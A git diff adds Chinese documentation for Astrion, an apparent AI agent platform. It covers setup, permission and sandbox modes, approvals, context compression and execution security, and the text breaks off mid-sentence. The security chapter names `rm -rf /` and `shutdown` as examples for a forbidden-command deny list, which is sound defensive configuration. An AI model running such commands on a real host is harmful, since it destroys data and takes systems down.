diff --git a/.gitignore b/.gitignore index 196407e9..d378e1bb 100644 --- a/.gitignore +++ b/.gitignore @@ -102,3 +102,4 @@ test/deepseek_ocr_tutorial.md # 运行态缓存 cache/ +website-design/exp/static/dist/ diff --git a/exp-scale-2.png b/exp-scale-2.png new file mode 100644 index 00000000..13c2a370 Binary files /dev/null and b/exp-scale-2.png differ diff --git a/site-hero.png b/site-hero.png new file mode 100644 index 00000000..5f51f971 Binary files /dev/null and b/site-hero.png differ diff --git a/website-content/01-quick-start.md b/website-content/01-quick-start.md new file mode 100644 index 00000000..5b73edf9 --- /dev/null +++ b/website-content/01-quick-start.md @@ -0,0 +1,241 @@ +# 快速上手 + +本章带你从零跑起 Astrion:克隆代码、完成初始化配置、启动服务,并根据你的使用场景选择正确的运行形态。 + +--- + +## 1. 系统要求 + +| 依赖 | 要求 | 说明 | +|------|------|------| +| Python | 3.9 及以上(推荐 3.11) | 后端运行环境 | +| Node.js | 18 及以上 | 构建前端、使用 CLI | +| Docker | 可选 | 仅 **web/docker 模式**需要,host 模式不需要 | +| WSL2 | 仅 Windows | Windows 上使用宿主机沙箱的前置条件 | + +macOS、Linux、Windows(WSL2)均可运行。三平台沙箱能力的差异见《核心概念》一章。 + +--- + +## 2. 安装 + +```bash +# 1. 克隆仓库 +git clone https://github.com/JOJO6618/astrion.git +cd astrion + +# 2. 初始化:创建 venv、安装依赖、运行交互式配置向导 +# 向导会依次询问:运行模式 → 监听地址/端口 → 管理员账户 → 模型 API → 生成密钥 +./setup.sh + +# 3. 构建前端 +npm install && npm run build + +# 4.(仅 web/docker 模式)构建沙箱镜像,见下文「选择运行模式」 +docker build -f docker/terminal.Dockerfile -t my-agent-shell:latest . + +# 5. 启动 +./start.sh +# 或者手动启动: +python -m server.app --port 8091 --thinking-mode +``` + +启动后访问 `http://localhost:8091`,用向导中设置的管理员账户登录。 + +> `setup.sh` 向导会把配置写入仓库根目录的 `.env`。这是开发备用方式;生产部署建议改用「数据根目录下的 `settings.json`」或系统环境变量,见下文「配置优先级」。 + +--- + +## 3. 运行端口与监听地址 + +- **默认端口:`8091`**(`WEB_SERVER_PORT`)。 +- 监听地址(`WEB_SERVER_HOST`): + - 单机自用:建议 `127.0.0.1`,只监听本机回环,局域网不可达; + - 多用户/服务器部署:用 `0.0.0.0`。 +- 启动命令行参数 `--port` 可以临时覆盖配置。 +- 调试模式 `WEB_SERVER_DEBUG=1`(同时开启 Flask reloader),生产环境保持 `0`。 + +--- + +## 4. 数据路径:数据都存在哪、怎么搬迁 + +Astrion 的运行态数据(对话记录、用户、日志、部署级配置)**默认全部放在用户主目录下,不污染源码树**: + +``` +~/.astrion/astrion/ ← 数据根目录(data_root) +├── settings.json ← 唯一配置文件(优先级最高) +├── config/ ← 部署级配置(模型库等,host/web 共享) +├── host/ ← host 模式的数据 +│ ├── data/ users/ logs/ api/ +└── web/ ← web/docker 模式的数据(结构同上) +``` + +按运行模式自动分流:`TERMINAL_SANDBOX_MODE=host` 时数据进 `host/`,否则进 `web/`。 + +### 路径相关环境变量(优先级从高到低) + +| 环境变量 | 作用 | +|----------|------| +| `DATA_DIR` / `LOGS_DIR` / `USER_SPACE_DIR` / `API_USER_SPACE_DIR` | 单独覆盖某一个目录(最高优先级) | +| `ASTRION_DATA_ROOT` | 整体搬迁数据根目录(默认 `~/.astrion/astrion`) | +| `DEPLOY_CONFIG_DIR` | 单独搬迁部署级配置目录(默认 `<数据根>/config/`) | + +具体目录变量支持相对路径(相对仓库根目录展开)、绝对路径与 `~`。 + +### 配置优先级 + +同名配置生效顺序:**`<数据根>/settings.json` > 系统环境变量 > 仓库根目录 `.env` > 代码默认值**。 + +`.env` 加载时不覆盖已存在的系统环境变量;`settings.json` 是推荐的生产配置方式,例如: + +```json +{ + "server": { "port": 8091, "host": "127.0.0.1" } +} +``` + +--- + +## 5. 配置主智能体模型 + +主智能体的模型统一在 **`custom_models.json`** 中注册。 + +**放置位置**(按回退链查找,找到即止): + +1. `<数据根>/config/custom_models.json`(生产推荐) +2. 仓库内 `config/custom_models.json` +3. 仓库内 `config/custom_models.json.example`(种子示例) + +**完整字段说明**: + +```json +{ + "models": [ + { + "model_name": "Kimi-K3", + "description": "展示给用户的模型描述", + "visible": true, + "url": "${API_BASE_KIMI}", + "apikey": "${API_KEY_KIMI}", + "multimodal": "image,video", + "reasoning_capability": "fast,thinking", + "reasoning_effort": true, + "context_window": 1048576, + "max_output_tokens": 64000, + "thinkmode_status": { + "type": "param_toggle", + "model_id": "k3", + "fast_extra_parameter": { "thinking": { "type": "disabled" } }, + "thinking_extra_parameter": { "thinking": { "effort": "max" } } + }, + "extra_parameter": {}, + "model_description": "注入系统提示词的模型自我描述" + } + ] +} +``` + +| 字段 | 必填 | 说明 | +|------|------|------| +| `model_name` | ✅ | 模型条目名,UI 中显示,也是各配置引用它的 key | +| `url` | ✅ | API 基础地址。**支持 `${环境变量}` 引用**,密钥不要写明文 | +| `apikey` | ✅ | API Key,同样支持 `${...}` | +| `description` | | 列表中展示的说明文字 | +| `visible` | | 是否在模型选择菜单中可见 | +| `multimodal` | | `image,video` 等;决定输入栏是否允许发图/视频 | +| `reasoning_capability` | | `fast,thinking`;决定思考模式可选项 | +| `reasoning_effort` | | 是否支持「推理强度」滑块 | +| `context_window` | | 上下文窗口大小(token),压缩阈值、用量统计以此为基准 | +| `max_output_tokens` | | 单次最大输出 token | +| `thinkmode_status` | | `param_toggle` 类型:`model_id` 为真实模型 ID;`fast/thinking_extra_parameter` 为两种模式下分别附加的请求参数 | +| `extra_parameter` | | 所有请求都附加的额外参数 | +| `model_description` | | 注入系统提示词的自我介绍 | + +**最小配置**只需要 4 个字段:`model_name` / `url` / `apikey` / `thinkmode_status.model_id`,其余字段均有默认值。 + +> 提醒:`setup.sh` 向导在第 5 步创建的模型条目就是最小配置——`multimodal` 为 `none`(不能发图/视频)、`context_window` 固定 128000、`max_output_tokens` 32768。如果你的模型支持多模态或更大上下文,配完向导后请手动编辑 `<数据根>/config/custom_models.json` 补齐字段。 + +**默认模型**:不设 `AGENT_DEFAULT_MODEL` 时使用列表中第一个可见模型;也可以在个人空间「模型与思考」页设置每用户默认模型。 + +> 注意:旧版的 `AGENT_API_*` / `AGENT_THINKING_*` / `AGENT_TITLE_*` 环境变量已从代码中移除,配置它们不再有任何效果。 + +--- + +## 6. 配置子智能体模型 + +子智能体(含三个审核智能体)使用**独立的模型库**:`sub_agent_models.json`。 + +**放置位置**:仅从部署配置目录读取——`<数据根>/config/sub_agent_models.json`(可用 `SUB_AGENT_MODELS_CONFIG_FILE` 单独覆盖)。**没有这个文件,子智能体将无法启动**,会直接报「未找到可用子智能体模型配置」。 + +**结构**: + +```json +{ + "default_model": "deepseek-v4-flash", + "models": [ + { + "name": "deepseek-v4-flash", + "url": "${SUB_AGENT_API_BASE}", + "apikey": "${SUB_AGENT_API_KEY}", + "model_id": "deepseek-v4-flash", + "modes": "fast,thinking", + "multimodal": "image", + "max_output": 32000, + "max_context": 128000, + "extra_parameter": {}, + "fast_extra_parameter": {}, + "thinking_extra_parameter": {} + } + ] +} +``` + +要点: + +- `default_model`:默认条目名;子智能体/审核智能体配置里 `model` 留空时用它。若指定的名字不存在,回退到列表中第一个可用条目。 +- 字段名做了宽松兼容:`name`/`model_name`/`model`、`url`/`base_url`、`apikey`/`api_key` 均可;`modes` 写 `fast,thinking` 表示支持思考模式,只写 `fast` 表示纯快速模式。 +- 也支持与主模型库相同的 `thinkmode_status` 结构,可以直接从 `custom_models.json` 复制条目改名字用。 +- `url` / `apikey` 同样支持 `${环境变量}` 引用。 + +**子智能体相关环境变量**: + +| 变量 | 默认 | 说明 | +|------|------|------| +| `SUB_AGENT_MAX_ACTIVE` | 5 | 同时运行的子智能体上限 | +| `SUB_AGENT_DEFAULT_TIMEOUT` | 180(秒) | 默认超时 | +| `SUB_AGENT_TASKS_BASE_DIR` | `<数据根>/<模式>/data/sub_agent_tasks` | 任务目录 | +| `SUB_AGENT_PROJECT_RESULTS_DIR` | `<工作区>/sub_agent_results` | 交付目录(有意放在工作区内) | + +--- + +## 7. 选择运行模式:host 还是 docker(web) + +由 `TERMINAL_SANDBOX_MODE` 决定,两种模式面向完全不同的场景: + +| | **host 模式** | **web/docker 模式** | +|---|---|---| +| 定位 | 本地个人使用 | 服务器多用户部署 | +| 命令执行 | 宿主机 OS 沙箱(macOS sandbox-exec / Linux bwrap / Windows WSL2) | 每个用户独立 Docker 容器,受限档权限下以非特权 uid 执行 | +| 数据目录 | `~/.astrion/astrion/host/` | `~/.astrion/astrion/web/` | +| 前置准备 | 无需镜像;Windows 需先装 WSL2 | 必须先构建镜像:`docker build -f docker/terminal.Dockerfile -t my-agent-shell:latest .`(构建上下文必须是仓库根) | +| 镜像名 | — | 由 `TERMINAL_SANDBOX_IMAGE` 指定,建议 `my-agent-shell:latest` | + +选择建议: + +- **一个人在自己电脑上用** → `host`。文件管理器、本地工具链直接可用,体验最好。 +- **部署到服务器给多人用** → `docker`。容器天然隔离用户之间的文件与进程。 +- host 模式可以同时读取 web 模式的数据(用户列表、工作区合并显示),反向不行。 + +沙箱镜像基于 `python:3.11-slim`,内置 LibreOffice / Pandoc / FFmpeg / Tesseract OCR(含中文)/ Chromium / Node 20 / docx / pptxgenjs 等常用工具链。**程序不会自动构建镜像**,web 模式启动前必须手动构建一次。 + +--- + +## 8. 首次启动检查清单 + +1. 浏览器打开 `http://localhost:8091`,用管理员账户登录; +2. 进入个人空间,确认「模型与思考」页能看到你配置的模型; +3. 随便发一条消息,确认主智能体能正常回复; +4. 让主智能体创建一个子智能体(或直接说「帮我查一下 xxx」触发),确认 `sub_agent_models.json` 配置正确; +5. 若是 web 模式,确认镜像已构建、终端容器能正常拉起。 + +到这里,你的 Astrion 已经可以正常工作了。接下来建议阅读《核心概念》,理解部署模式、权限模式、执行环境、运行模式这四组概念——它们决定了 Astrion 的行为边界。 diff --git a/website-content/02-core-concepts.md b/website-content/02-core-concepts.md new file mode 100644 index 00000000..15711fe7 --- /dev/null +++ b/website-content/02-core-concepts.md @@ -0,0 +1,111 @@ +# 核心概念 + +Astrion 有四组**相互正交**的概念,理解它们是理解整个系统的钥匙。它们两两组合决定了一次任务「能做什么、在哪跑、做到什么程度」: + +| 概念组 | 取值 | 决定什么 | 在哪里切换 | +|--------|------|----------|------------| +| **部署模式** | host / docker(web) | 数据存哪、命令在宿主机还是容器里跑 | 环境变量(部署时确定) | +| **权限模式** | readonly / approval / auto_approval / unrestricted | AI 的工具调用要不要经过批准 | 输入栏权限菜单(对话级) | +| **执行环境** | sandbox / direct | 命令是否经过 OS 沙箱 | 输入栏权限菜单(对话级,仅 host 模式) | +| **运行模式** | plan / ask / execute | AI 与你的交互节奏:先出计划还是直接干活 | 输入栏运行模式切换器(对话级) | + +--- + +## 1. 部署模式:host vs docker(web) + +部署模式在**启动前**由环境变量 `TERMINAL_SANDBOX_MODE` 决定,运行中不可切换。 + +- **host 模式**:面向本地个人使用。命令通过宿主机 OS 沙箱执行,AI 可以直接操作你授权的本机目录(比如真实的项目仓库),文件管理器、本地 Node/Python 工具链直接可用。 +- **docker 模式(web 模式)**:面向服务器多用户部署。每个用户的终端命令在独立的 Docker 容器里执行,用户之间文件与进程天然隔离。需要先构建沙箱镜像(见《快速上手》)。 + +两者的数据目录完全分开(`~/.astrion/astrion/host/` 与 `web/`),但 host 模式会**合并读取** web 模式的用户与工作区列表——同一台机器上两种模式的历史数据都能看到。 + +> 注意:docker 模式同样有只读强制——受限档权限(readonly/approval/auto_approval)下,命令以非特权用户(uid 10001)在容器内执行,写入由内核文件权限直接拒绝,「只读→审批→单次可写重试」两段式流程与 host 模式一致(详见《执行与安全》)。 + +## 2. 权限模式:AI 能做什么 + +权限模式是**产品层**开关,决定工具调用是否被拦截、是否需要批准。按对话切换,随时可改。 + +### readonly(只读) + +- `run_command` 允许调用,但在**只读沙箱**中执行;一旦触发写入,操作系统直接返回权限拒绝(如 `Operation not permitted`)。 +- `write_file` / `edit_file` 等写入类工具**直接拒绝**。 +- 适用:让 AI 只做代码审查、只读分析、回答问题时。 + +### approval(批准,推荐默认) + +- `run_command` 走**两段式**:先在只读沙箱执行 → 若出现权限拒绝,向前端发起审批 → 你批准后,**仅该条命令**以可写沙箱重试一次。 +- 工具返回的是重试后的最终结果,AI 不会看到中间的拒绝过程。 +- 审批拒绝或超时:本次不执行,不写入。 + +### auto_approval(自动审核) + +- 与 approval 相同的「只读优先」流程,但审批者是**自动审批智能体**(一个独立的 AI,可在个人空间配置它的模型与参数)。 +- `write_file` / `edit_file`:目标在工作区内直接执行;工作区外进入自动审批。 +- 自动审批拒绝时,AI 收到「被拒绝 + 理由」后继续尝试别的路径,不会中断整轮任务。 +- 你可以随时人工接管:同意 / 拒绝 / 切换为无限制。 + +### unrestricted(无限制) + +- 权限层不做任何拦截,工具直接执行。 +- 此时安全边界完全由执行环境决定(见下节):sandbox 下仍有 OS 沙箱兜底,direct 下等于裸奔。 + +## 3. 执行环境:sandbox vs direct + +执行环境是**系统层**开关(仅 host 模式可切换),决定命令最终是否经过 OS 沙箱: + +- **sandbox(默认)**:命令在 OS 沙箱中执行,读写边界由「路径授权」限定。沙箱不可用时关键执行路径会**拒绝执行**,不会静默回退到裸宿主机。 +- **direct(高风险)**:命令直接在宿主机执行,无任何沙箱限制。仅 `unrestricted` 权限可选——受限档(readonly/approval/auto_approval)与 direct 硬互斥,在受限档下切 direct 会被拒绝,从 direct 切入受限档会被自动压回 sandbox。仅建议明确需要系统级权限时**短时**开启,用完立即切回。切换后一直生效,没有自动回退机制。 + +### 各平台沙箱实现与安全水位(请务必阅读) + +| 平台 | 实现 | 安全水位 | +|------|------|----------| +| **Windows** | WSL2 | **可以做到完全的数据隔离**——命令跑在独立的 WSL2 文件系统中。前提是**先自行安装 WSL2**,未安装时沙箱不可用 | +| **macOS** | sandbox-exec | **白名单读模型,读写都可限制**——进程默认只能读系统目录、工作区与已授权路径,越界读取会被直接拒绝。固有代价:授权路径的祖先目录顶层文件名可被列出(文件内容仍不可读) | +| **Linux** | bubblewrap (bwrap) + seccomp | 写入可限制(只读档全局只读),但**读侧仍是全局可读**、尚未对齐白名单;且尚未经过实际测试,不建议在生产环境依赖其隔离性 | + +这是官方对当前安全能力的如实说明:把沙箱当作「防误操作」的手段,三个平台都是可靠的;把它当作「防恶意窃取数据」的手段,macOS(白名单)与 Windows(WSL2)可以信赖,Linux 暂时不行。 + +### 路径授权 + +host 模式下,沙箱的文件访问边界由路径授权决定,分两类: + +- **可读可写路径**:AI 可以读也可以改; +- **仅可读路径**:AI 能看但不能改。 + +关系:`可读集合 = 可读可写 + 仅可读`;`可写集合 = 可读可写`。在输入栏 `+` 菜单 →「路径授权」中维护。推荐保持最小授权:工作区 + 临时目录。 + +> 终端会话(terminal 系列工具)的读写身份在启动时按当时的权限档、执行环境与沙箱策略**钉死**:受限档下终端以只读身份运行,`unrestricted` 下才是可写身份。**切换执行环境(sandbox ⇄ direct)、权限档在受限档与无限制之间互切、切换工作区或容器时,现有终端会话会被直接关闭**,随后在重新拉起的会话中按新策略执行。 + +### 网络权限 + +独立于文件沙箱的另一组开关(plan 模式下也可调): + +- **受限**(默认):仅允许本地回环访问,外部网络不可达; +- **完全开放**:允许所有出站/入站连接。 + +## 4. 运行模式:AI 与你的交互节奏 + +运行模式控制 AI **什么时候动手、什么时候先问你**,与权限完全正交。仅空闲时可切换(任务运行中切换会收到 409 提示)。 + +- **plan(计划)**:只制定计划并与你讨论,不实际改东西。此模式下权限被**锁定为只读**、执行环境**锁定为沙箱**(UI 禁用 + 后端双重强制,网络权限除外)。唯一例外是写 `.astrion/plan/*.md` 计划文档。计划写完后 AI 会调用 `submit_plan` 请你批准;**批准即自动切换到 execute** 并恢复你之前的权限设置。 +- **ask(询问)**:先讨论后开工。AI 把方案、疑问写在回复里与你来回确认,关键细节拍板后才动手。执行层面与 execute 无差异,只是交互节奏不同。 +- **execute(执行)**:AI 自行梳理计划、补全细节,直接开工,只有遇到硬阻塞(缺信息、需要账号密码等)才提问。 + +### 常见组合 + +| 场景 | 推荐组合 | +|------|----------| +| 让 AI 改你正在维护的重要项目 | plan + approval + sandbox | +| 日常随手用、追求效率 | execute + auto_approval + sandbox | +| 纯问答/代码评审,绝不许动文件 | 任意模式 + readonly(执行环境自动锁沙箱) | +| 服务器多用户部署 | docker 模式(执行环境概念不适用) | + +## 5. 四组概念的联动规则速查 + +1. plan 模式 → 权限强制 readonly、执行环境强制 sandbox(网络权限仍可调); +2. 受限档权限(readonly/approval/auto_approval)→ 执行环境自动锁定为 sandbox,direct 仅 unrestricted 可用; +3. 批准 plan 计划 → 自动切 execute 并恢复进入 plan 前的权限与执行环境; +4. docker 模式下没有 sandbox/direct 之分,容器即边界; +5. 权限模式、执行环境、运行模式都是**对话级**状态:新对话继承当前输入栏的取值,个人空间里的「默认权限模式 / 默认运行模式」只影响首次构造。 diff --git a/website-content/03-conversations.md b/website-content/03-conversations.md new file mode 100644 index 00000000..6c9c40e5 --- /dev/null +++ b/website-content/03-conversations.md @@ -0,0 +1,76 @@ +# 对话 + +本章讲「一个对话」本身的能力:对话类型、思考模式、目标模式,以及对话过程中可用的几个面板功能。 + +--- + +## 1. 对话类型:普通 vs 多智能体 + +创建对话时选定,**创建后不可变**: + +- **普通对话(智能体)**:你与一个主智能体对话,它可以按需在后台派出子智能体干活。 +- **多智能体对话**:主智能体固定为 **Team Leader**,不亲自干活,而是创建多个带角色的子智能体(如 Full-Stack Engineer、UI Operator),在它们之间派活、收汇报、做决策。子智能体之间也可以互相通信,但每次沟通都会同步汇报给 Team Leader,不存在"私下串通"。 + +切换入口:空对话时输入栏底行 `+` 右侧的对话类型选择器;侧边栏的列表过滤器则决定你在列表里看哪一类对话。 + +多智能体的完整玩法见《智能体能力》一章。 + +## 2. 思考模式与推理强度 + +两个独立开关,都作用于当前对话: + +- **思考模式**:`快速(fast)` / `思考(thinking)`。快速模式追求响应速度、跳过思考过程;思考模式整轮对话使用思考模型。输入栏可切换,个人空间可设默认值。 +- **推理强度(Effort)**:`默认 / 低 / 中 / 高` 滑块(需模型配置里 `reasoning_effort: true` 才会出现)。「默认」表示不指定强度,使用 API 自身默认行为;拖动滑块可实时调整思考的深度档位。 + +> 模型的多模态能力(能否发图片/视频)由 `custom_models.json` 中该模型的 `multimodal` 字段决定;思考模式可选项由 `reasoning_capability` 决定。 + +## 3. 目标模式(Beta) + +> ⚠️ 目标模式是 **beta 功能**:机制完整可用,但边界情况(多对话并发时的 token 统计、异常中断恢复等)仍在打磨,请带着预期使用并反馈问题。 + +普通对话里,AI 完成你交代的一轮任务就停了。**目标模式**让 AI 围绕一个长期目标**自动一轮一轮干下去**,直到目标达成或触顶停止。 + +**用法**: + +1. 输入栏 `+` 菜单 →「目标模式」,进入「已就绪」状态; +2. 你发送的下一条消息会被当作**目标**(而不是普通任务); +3. AI 围绕目标自动连续工作:每轮结束后自我评估「目标达成了吗」,没达成就继续下一轮; +4. 达成、触顶或你手动取消时停止。 + +**结束条件**(个人空间可配,可多选): + +- `max_turns`:最多自动续 N 轮(有默认值,可调); +- `max_tokens`:累计(输入+输出)token 上限,默认不启用。注意该统计是**工作区级**的,多对话并发时是近似值。 + +**目标审核**:可选配一个目标审核智能体(个人空间「审核智能体」页的 `goal_review`),两种审核模式: + +- `readonly`(默认):审核智能体只读对话内容来判断目标进度; +- `active`:允许它跑只读命令取证(比如检查文件是否真的生成了)再下结论。 + +目标状态按对话独立持久化(`goal_states/<对话ID>.json`),切换对话、上下文压缩、重启服务都不会丢失目标进度。 + +## 4. 对话面板:回顾 / 用量 / 实时终端 + +输入栏 `+` 菜单里的三个面板型功能(它们只是信息面板,**与安全机制无关**): + +- **对话回顾**:打开当前对话的回顾视图,按时间线回看这次对话做了什么。 +- **用量统计**:上下文与 token 用量面板,看当前对话的上下文占用、累计消耗。 +- **实时终端**:打开实时终端面板,直接看到 AI 正在执行的终端会话实况——它正在跑什么命令、输出是什么。这是观察窗口,不是安全边界;真正的安全控制请看《执行与安全》。 + +## 5. 对话管理 + +- **搜索**:侧边栏顶部搜索框,按标题与内容检索对话。 +- **平铺 / 分组视图**:侧边栏可以平铺所有对话,也可以按工作区分组(个人空间「外观与显示」→ 侧边栏分组)。分组模式下支持工作区置顶与排序。 +- **类型过滤**:侧边栏的类型切换器(普通 / 多智能体)决定列表里显示哪类对话。 +- **新建对话按钮行为**:个人空间可选——点击 `+` 是「跳转到空白新对话页」(route)还是「立即创建空对话」(blank)。 +- **自动标题**:默认开启,首轮对话后自动生成标题;可在个人空间关闭。 + +## 6. 对话显示模式 + +个人空间「外观与显示」提供三种消息流显示模式: + +- **传统列表**:所有消息平铺; +- **堆叠动画**(默认):工具调用等中间块堆叠收纳,主干对话更清爽; +- **极简模式**:最克制的显示,只看要点。 + +另有「完整信息 / 简略信息」控制简略消息的展开程度,以及助手状态形象(戳一戳有彩蛋)等显示开关。 diff --git a/website-content/04-input-context.md b/website-content/04-input-context.md new file mode 100644 index 00000000..4ffa33aa --- /dev/null +++ b/website-content/04-input-context.md @@ -0,0 +1,89 @@ +# 输入与上下文 + +本章讲输入栏的两个菜单、文件引用、上传,以及 Astrion 的上下文管理体系——包括压缩机制的正确用法。 + +--- + +## 1. `+` 快捷菜单(完整功能清单) + +点击输入栏左侧 `+` 打开。完整功能一览: + +| 功能 | 说明 | +|------|------| +| 新建对话 | 开始一个新对话(等价 `new` / `clear`) | +| 上传文件 | 选择本地文件上传到工作区 | +| 发送图片 / 发送视频 | 附加到消息;**当前模型不支持多模态时禁用**(取决于 `multimodal` 配置) | +| 压缩对话 | 手动触发一次上下文压缩 | +| 选择 AgentSkill | 插入一个 Skill 引用(等价输入 `//` 快捷直达) | +| 工作流 | 激活一个工作流,让智能体按既定流程推进 | +| 对话类型 | 空对话时切换「智能体 / 多智能体」(创建后不可变) | +| 切换工作模式 | plan / ask / execute | +| 切换主题 | 经典 / 明亮 / 夜间 | +| 对话回顾 | 打开当前对话回顾 | +| 用量统计 | 上下文与 token 用量面板 | +| 目标模式 | 切换目标模式(Beta,见《对话》章) | +| 个人设置 | 打开个人空间 | +| 实时终端 | 打开实时终端面板 | +| 切换模型 | 选择本对话使用的模型 | +| 思考模式 | 切换 fast / thinking | +| 权限模式 | 切换 readonly / approval / auto / unrestricted | +| 网络权限 | 受限 / 完全开放(plan 模式下也可调) | +| 执行环境 | sandbox / direct(仅 host 模式) | +| 切换工作区 / 项目 | 切换当前对话绑定的工作区 | +| 版本控制 | 开/关本对话的版本控制 | +| Git 状态栏 | 显示/隐藏输入栏上方的 Git 状态条 | +| 路径授权 | 查看和管理沙箱路径授权 | +| 审批面板 | 查看审批记录 | + +## 2. `/` 斜杠菜单 + +在输入框输入 `/` 触发斜杠直达菜单,用关键字快速过滤并直达某一类选项,目前支持 12 类:AgentSkills(`//` 直达)、工作流、主题、权限模式、执行环境、模型、思考模式、网络权限、工作模式、工作区、对话类型等。 + +典型用法:`/skill` 选技能、`/workflow` 选工作流、`/model` 切模型——比在 `+` 菜单里翻要快。 + +## 3. `@` 文件引用 + +输入 `@` 唤起文件菜单,从工作区中选择文件/目录插入引用。被引用的文件会作为上下文提供给智能体,适合「就这个文件展开讨论」的场景。图片类文件引用会按多模态能力处理。 + +## 4. 上下文压缩:浅压缩与深压缩 + +长对话迟早会触及模型上下文上限,Astrion 提供两级自动压缩 + 手动压缩: + +### 浅压缩(默认关闭) + +- 机制:把较早的**工具调用结果替换为占位符**(保留最近 N 个工具结果不压),立刻腾出空间。 +- 触发:默认累计 80k tokens 触发(可调),另有「每 N 次工具调用」「每轮最多替换 N 个」「保留最近 N 次用户输入后的工具不压」等细调参数。 +- ⚠️ **重要代价:浅压缩会改动历史消息内容,从而破坏服务商侧的上下文缓存(prompt cache)**——压缩后的几轮请求将无法命中缓存,表现为响应变慢、费用上升。这是它默认关闭的原因。 + +### 深压缩(默认开启,推荐) + +- 机制:对整段历史做**深度总结**,旧上下文整体替换为浓缩摘要后轻装继续。 +- 产物形式可选(`deep_compress_form`):`file`——总结写入文件,需要时随时回读(默认);`inject`——直接把总结全文注入上下文。 +- 触发:默认 150k tokens。 + +### 自定义阈值的 80% 规则(务必遵守) + +如果你要自定义压缩触发阈值,**至少设为所用模型实际可用上下文的 80%**。 + +例如模型实际上下文是 128k,触发阈值不应低于约 102k。阈值设得太低会频繁触发压缩:既浪费 token,又频繁破坏上下文缓存,还会让 AI 过早丢失细节记忆。让对话尽量「用满窗口再压缩」才是性价比最高的用法。 + +> 模型的实际上下文窗口以 `custom_models.json` 中该模型的 `context_window` 为准;注意区分「标称上下文」与「实际可用上下文」(部分 API 会预留输出空间)。 + +### 手动压缩 + +`+` 菜单 →「压缩对话」随时可手动触发,适合你预判接下来要开新话题、主动腾空间的场景。 + +## 5. 上下文注入类功能 + +这些功能影响每轮对话自动携带的上下文,都在个人空间配置: + +- **最近对话提示**(默认关闭):开启后,新对话自动把最近 N 条历史对话的摘要注入上下文(N 可配,1–30,默认 10)。适合「我最近一直在折腾同一个项目」的连续工作流;与「对话连续性」个性化设置配合使用。 +- **AGENTS.md 自动注入**(默认关闭):开启后自动把项目根目录的 AGENTS.md 注入上下文,让 AI 始终带着项目规范工作。 +- **项目记忆索引注入**:AI 的项目记忆索引默认最多注入 20 条(5 起,可设为无上限)。记忆内容由 AI 在工作过程中主动沉淀。 +- **Skill 提示**(默认关闭):根据当前任务动态提示可能相关的 Skill。 + +## 6. 上传与多模态 + +- **上传文件**:进入工作区,AI 后续可读取处理; +- **发送图片/视频**:随消息直接进入多模态上下文; +- 图片压缩档位(个人空间):`原图 / 1080p / 720p / 540p`,默认原图。长对话里多发大图建议降档,节省上下文。 diff --git a/website-content/05-execution-security.md b/website-content/05-execution-security.md new file mode 100644 index 00000000..64ec270b --- /dev/null +++ b/website-content/05-execution-security.md @@ -0,0 +1,86 @@ +# 执行与安全 + +本章讲 Astrion 如何安全地执行 AI 发起的操作:沙箱执行的实际行为、路径授权、审批机制。概念层面的四组开关(部署/权限/执行环境/运行模式)请先看《核心概念》,本章聚焦具体行为与日常管理。 + +> 范围说明:「实时终端」只是观察面板,与安全机制无关,见《对话》一章。 + +--- + +## 1. 命令是怎么被执行的 + +### run_command:两段式执行 + +以默认推荐的 `approval` 模式为例,一条 AI 发起的 shell 命令的实际旅程是: + +1. **先在只读身份下执行**——能读不能写(host 模式靠 OS 沙箱,docker 模式靠容器内的非特权用户); +2. 如果命令没碰写操作,直接返回结果,全程无感; +3. 如果触发权限拒绝(要写文件、要改系统),**自动转为向你发起审批**; +4. 你批准后,**仅这一条命令**以可写身份重试;你拒绝或超时未处理,则本次不执行; +5. AI 拿到的是最终结果,中间过程不干扰它的思路。 + +`auto_approval` 模式把第 3 步的审批者换成自动审批智能体;`unrestricted` 模式跳过审批直接执行;`readonly` 模式下写入类请求直接拒绝。注意审批**只放大这一次写入、不放大读取范围**——想读工作区之外的文件,唯一途径是路径授权(见第 2 节)。 + +### 终端会话:身份钉死,切换即关闭 + +持久终端会话(terminal 系列工具)的读写身份在启动时按当时的权限档、执行环境与沙箱策略**钉死**:受限档(readonly/approval/auto_approval)下终端以只读身份运行,终端里的写入由系统直接拒绝(EPERM);`unrestricted` 下才是可写身份。当你**切换执行环境(sandbox ⇄ direct)、权限档在受限档与无限制之间互切、切换工作区或容器**时,现有终端会话会被**直接关闭**——不会带着旧身份继续运行,后续操作在重新拉起的会话中按新策略执行。这也意味着:跑长任务时不要切换这些开关,任务会随会话一起终止。 + +### 子智能体与后台命令 + +子智能体的终端进程同样经过执行环境策略:sandbox 下经宿主机沙箱启动,direct 下直接宿主机启动;docker 模式则在容器内执行。后台命令(`run_in_background`)与前台命令走同一套只读/可写沙箱判定,**不会因为放后台就绕过权限**。 + +## 2. 路径授权的日常管理 + +入口:输入栏 `+` 菜单 →「路径授权」。 + +- **可读可写路径**:AI 的完整工作范围,通常就是你的项目目录; +- **仅可读路径**:允许 AI 参考但禁止修改,比如参考文档、线上配置样例、别的项目源码。 + +建议实践: + +1. 保持最小授权——只加当前任务需要的目录; +2. 敏感目录(`~/.ssh`、密钥库、系统目录)永远不要加入任何一类; +3. 任务性质变化时及时调整,授权是即时生效的(新终端会话除外,见上)。 + +## 3. 网络权限 + +输入栏权限菜单中独立的一组: + +- **受限**(默认):仅本地回环,AI 无法访问外部网络——适合纯本地任务,也杜绝了数据外发; +- **完全开放**:允许出站/入站连接——需要 AI 联网搜索、调外部 API、装依赖时开启。 + +网络权限与文件沙箱相互独立,且在 plan 模式下也可调整。 + +## 4. 审批面板 + +入口:`+` 菜单 →「审批面板」。这里能看到审批记录:哪些命令/写入被提请审批、谁批的(人工或自动审批智能体)、结果如何。`auto_approval` 模式下如果不想让面板自动弹出打扰,个人空间有开关(默认不自动打开)。 + +## 5. 禁止命令清单 + +部署级配置 `forbidden_commands.json`(放 `<数据根>/config/`)可以配置**绝对禁止执行的命令特征**,命中即拒,与权限模式无关。这是兜底防线,适合在服务器部署时封死 `rm -rf /`、`shutdown` 这类命令。 + +## 6. 关于 direct 模式的忠告 + +`direct` = 命令直接在宿主机执行,**没有任何沙箱**。它与受限档权限(readonly/approval/auto_approval)硬互斥——只有 `unrestricted` 才能选 direct,从 direct 切入受限档时会被自动压回 sandbox。合理使用场景只有一个:某条命令在沙箱里确实跑不了(需要系统级权限),且没有替代方案。此时: + +1. 先把权限档切到 `unrestricted`,再临时切到 direct; +2. 跑完立即切回 sandbox(和原来的权限档); +3. 注意 direct 切换后**永久生效、不会自动回退**——忘记切回等于长期裸奔。 + +## 7. docker 模式的安全现状 + +docker 